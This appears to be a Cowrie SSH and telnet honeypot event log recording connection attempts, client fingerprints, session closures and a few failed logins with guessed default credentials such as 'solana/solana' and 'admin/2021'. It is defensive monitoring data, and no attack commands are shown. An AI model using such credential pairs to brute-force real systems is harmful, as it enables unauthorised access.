{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":35138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff1a822e9ee1","protocol":"ssh","message":"New connection: 45.78.208.179:35138 (159.203.135.109:22) [session: ff1a822e9ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:04.351322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:04.358815Z","src_ip":"45.78.208.179","session":"ff1a822e9ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:04.490492Z","src_ip":"80.94.92.168","session":"0e02d560943f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41386,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c1eb0b9cb28","protocol":"telnet","message":"New connection: 46.4.8.162:41386 (159.203.135.109:23) [session: 0c1eb0b9cb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:04.578298Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:04.603360Z","src_ip":"45.78.208.179","session":"ff1a822e9ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41400,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b08c130ae6","protocol":"telnet","message":"New connection: 46.4.8.162:41400 (159.203.135.109:23) [session: a8b08c130ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:05.294214Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41376,"dst_ip":"159.203.135.109","dst_port":23,"session":"2247eb9c2b0d","protocol":"telnet","message":"New connection: 46.4.8.162:41376 (159.203.135.109:23) [session: 2247eb9c2b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:05.367985Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2021","message":"login attempt [admin/2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:05.609594Z","src_ip":"45.78.208.179","session":"ff1a822e9ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:05.635686Z","src_ip":"80.94.92.168","session":"0e02d560943f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.81970453262329,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:05.684603Z","src_ip":"188.166.220.49","session":"07b5242fc8a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:06.033042Z","src_ip":"159.203.92.129","session":"0cb46cf99ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41408,"dst_ip":"159.203.135.109","dst_port":23,"session":"0010585ca103","protocol":"telnet","message":"New connection: 46.4.8.162:41408 (159.203.135.109:23) [session: 0010585ca103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:06.101391Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dab53fe34d5","protocol":"telnet","message":"New connection: 46.4.8.162:41414 (159.203.135.109:23) [session: 9dab53fe34d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:06.852335Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:06.861370Z","src_ip":"45.78.208.179","session":"ff1a822e9ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53509259223938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:07.097604Z","src_ip":"46.4.8.162","session":"084fcf0d3136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41416,"dst_ip":"159.203.135.109","dst_port":23,"session":"276c7d0bb94b","protocol":"telnet","message":"New connection: 46.4.8.162:41416 (159.203.135.109:23) [session: 276c7d0bb94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:07.484384Z"}
{"eventid":"cowrie.session.closed","duration":33.81057548522949,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:07.837693Z","src_ip":"46.4.8.162","session":"301b13b33145","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41422,"dst_ip":"159.203.135.109","dst_port":23,"session":"733482d4bf99","protocol":"telnet","message":"New connection: 46.4.8.162:41422 (159.203.135.109:23) [session: 733482d4bf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:09.262245Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41440,"dst_ip":"159.203.135.109","dst_port":23,"session":"06b7d49022af","protocol":"telnet","message":"New connection: 46.4.8.162:41440 (159.203.135.109:23) [session: 06b7d49022af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:09.530667Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41436,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b8f5442de8","protocol":"telnet","message":"New connection: 46.4.8.162:41436 (159.203.135.109:23) [session: 47b8f5442de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:10.456951Z"}
{"eventid":"cowrie.session.closed","duration":30.867217779159546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:10.765998Z","src_ip":"46.4.8.162","session":"2345b4b2420f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00204849243164,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:10.786792Z","src_ip":"188.166.220.49","session":"ac495c8e289c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96847677230835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:12.270930Z","src_ip":"46.4.8.162","session":"6b756c10f2b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.505322456359863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:14.107035Z","src_ip":"46.4.8.162","session":"b8c247343727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.471233367919922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:14.112442Z","src_ip":"46.4.8.162","session":"ee153b3cd43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":37426,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3997bdfd474","protocol":"telnet","message":"New connection: 46.4.8.162:37426 (159.203.135.109:23) [session: f3997bdfd474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:15.310828Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":37436,"dst_ip":"159.203.135.109","dst_port":23,"session":"58aaaddecbcd","protocol":"telnet","message":"New connection: 46.4.8.162:37436 (159.203.135.109:23) [session: 58aaaddecbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:15.707555Z"}
{"eventid":"cowrie.session.closed","duration":34.1737060546875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:17.524664Z","src_ip":"46.4.8.162","session":"da3771d2e170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":37450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8405ca49a5b","protocol":"telnet","message":"New connection: 46.4.8.162:37450 (159.203.135.109:23) [session: a8405ca49a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:18.270001Z"}
{"eventid":"cowrie.session.closed","duration":30.94445776939392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:18.570487Z","src_ip":"46.4.8.162","session":"55d9792b988d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":37468,"dst_ip":"159.203.135.109","dst_port":23,"session":"69796d373cb0","protocol":"telnet","message":"New connection: 46.4.8.162:37468 (159.203.135.109:23) [session: 69796d373cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:19.938625Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":52498,"dst_ip":"159.203.135.109","dst_port":23,"session":"032168313a1b","protocol":"telnet","message":"New connection: 188.166.220.49:52498 (159.203.135.109:23) [session: 032168313a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:20.161291Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":37458,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6833e7d912","protocol":"telnet","message":"New connection: 46.4.8.162:37458 (159.203.135.109:23) [session: ab6833e7d912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:21.463238Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":37480,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f8b0b75d966","protocol":"telnet","message":"New connection: 46.4.8.162:37480 (159.203.135.109:23) [session: 7f8b0b75d966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:22.504343Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55526,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1979e0efbab","protocol":"telnet","message":"New connection: 46.4.8.162:55526 (159.203.135.109:23) [session: b1979e0efbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:23.414814Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55530,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed347571a07","protocol":"telnet","message":"New connection: 46.4.8.162:55530 (159.203.135.109:23) [session: 2ed347571a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:25.175936Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58288,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbe01a186cbc","protocol":"telnet","message":"New connection: 188.166.220.49:58288 (159.203.135.109:23) [session: fbe01a186cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:25.346827Z"}
{"eventid":"cowrie.session.closed","duration":31.690309762954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:25.651280Z","src_ip":"46.4.8.162","session":"1271056d7357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865224599838257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:26.598475Z","src_ip":"46.4.8.162","session":"b90c9b5bbaa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.447269916534424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:27.662678Z","src_ip":"46.4.8.162","session":"df72e4285649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55556,"dst_ip":"159.203.135.109","dst_port":23,"session":"665b2a3b4f2c","protocol":"telnet","message":"New connection: 46.4.8.162:55556 (159.203.135.109:23) [session: 665b2a3b4f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:29.751523Z"}
{"eventid":"cowrie.session.closed","duration":35.068771839141846,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:30.236120Z","src_ip":"46.4.8.162","session":"5f65cda9877c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706374168395996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:31.229026Z","src_ip":"46.4.8.162","session":"f18a2ac5d12e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55566,"dst_ip":"159.203.135.109","dst_port":23,"session":"783914df9f6e","protocol":"telnet","message":"New connection: 46.4.8.162:55566 (159.203.135.109:23) [session: 783914df9f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:31.344512Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55582,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2c51ef8d485","protocol":"telnet","message":"New connection: 46.4.8.162:55582 (159.203.135.109:23) [session: a2c51ef8d485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:31.543500Z"}
{"eventid":"cowrie.session.closed","duration":30.82366681098938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:31.652805Z","src_ip":"46.4.8.162","session":"e5621c93c6c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55596,"dst_ip":"159.203.135.109","dst_port":23,"session":"00645cf29636","protocol":"telnet","message":"New connection: 46.4.8.162:55596 (159.203.135.109:23) [session: 00645cf29636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:31.666068Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55610,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9074cf1b465","protocol":"telnet","message":"New connection: 46.4.8.162:55610 (159.203.135.109:23) [session: f9074cf1b465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:32.242649Z"}
{"eventid":"cowrie.session.closed","duration":31.99593472480774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:33.293702Z","src_ip":"46.4.8.162","session":"f19b5b801cf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55544,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea0d35ec7286","protocol":"telnet","message":"New connection: 46.4.8.162:55544 (159.203.135.109:23) [session: ea0d35ec7286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:34.842683Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55598,"dst_ip":"159.203.135.109","dst_port":23,"session":"74771825c7f3","protocol":"telnet","message":"New connection: 46.4.8.162:55598 (159.203.135.109:23) [session: 74771825c7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:34.871473Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"d83efb7d8800","protocol":"telnet","message":"New connection: 46.4.8.162:33690 (159.203.135.109:23) [session: d83efb7d8800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:35.422059Z"}
{"eventid":"cowrie.session.closed","duration":0.7952566146850586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:35.637810Z","src_ip":"46.4.8.162","session":"ea0d35ec7286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.832895278930664,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:36.464220Z","src_ip":"188.166.220.49","session":"c456da18bab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07179880142212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:37.173063Z","src_ip":"46.4.8.162","session":"0010585ca103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29384231567383,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:37.661740Z","src_ip":"46.4.8.162","session":"2247eb9c2b0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.166906118392944,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:37.745091Z","src_ip":"46.4.8.162","session":"0c1eb0b9cb28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59844160079956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:38.450644Z","src_ip":"46.4.8.162","session":"9dab53fe34d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17064690589905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:38.464717Z","src_ip":"46.4.8.162","session":"a8b08c130ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.420572996139526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:38.904838Z","src_ip":"46.4.8.162","session":"276c7d0bb94b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33698,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc2d5a98207","protocol":"telnet","message":"New connection: 46.4.8.162:33698 (159.203.135.109:23) [session: 0cc2d5a98207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:39.752550Z"}
{"eventid":"cowrie.session.closed","duration":31.3018581867218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:40.832395Z","src_ip":"46.4.8.162","session":"06b7d49022af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33706,"dst_ip":"159.203.135.109","dst_port":23,"session":"079d404d4d9a","protocol":"telnet","message":"New connection: 46.4.8.162:33706 (159.203.135.109:23) [session: 079d404d4d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:41.258049Z"}
{"eventid":"cowrie.session.closed","duration":32.896164894104004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:42.158284Z","src_ip":"46.4.8.162","session":"733482d4bf99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33722,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab3d5656f49f","protocol":"telnet","message":"New connection: 46.4.8.162:33722 (159.203.135.109:23) [session: ab3d5656f49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:42.682116Z"}
{"eventid":"cowrie.session.closed","duration":33.21555209159851,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:43.672364Z","src_ip":"46.4.8.162","session":"47b8f5442de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52882,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f60ca2ff42f","protocol":"telnet","message":"New connection: 46.4.8.162:52882 (159.203.135.109:23) [session: 4f60ca2ff42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:44.021089Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56960,"dst_ip":"159.203.135.109","dst_port":23,"session":"6205fa7b672b","protocol":"telnet","message":"New connection: 188.166.220.49:56960 (159.203.135.109:23) [session: 6205fa7b672b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:45.420627Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52886,"dst_ip":"159.203.135.109","dst_port":23,"session":"82fed1059d73","protocol":"telnet","message":"New connection: 46.4.8.162:52886 (159.203.135.109:23) [session: 82fed1059d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:45.847244Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":52902,"dst_ip":"159.203.135.109","dst_port":23,"session":"479a47e8f006","protocol":"telnet","message":"New connection: 46.4.8.162:52902 (159.203.135.109:23) [session: 479a47e8f006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:46.359204Z"}
{"eventid":"cowrie.session.closed","duration":31.059195041656494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:46.369909Z","src_ip":"46.4.8.162","session":"f3997bdfd474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906567096710205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:46.613983Z","src_ip":"46.4.8.162","session":"58aaaddecbcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41252,"dst_ip":"159.203.135.109","dst_port":22,"session":"610d8bbe8115","protocol":"ssh","message":"New connection: 159.203.92.129:41252 (159.203.135.109:22) [session: 610d8bbe8115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:47.851028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:47.856946Z","src_ip":"159.203.92.129","session":"610d8bbe8115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sh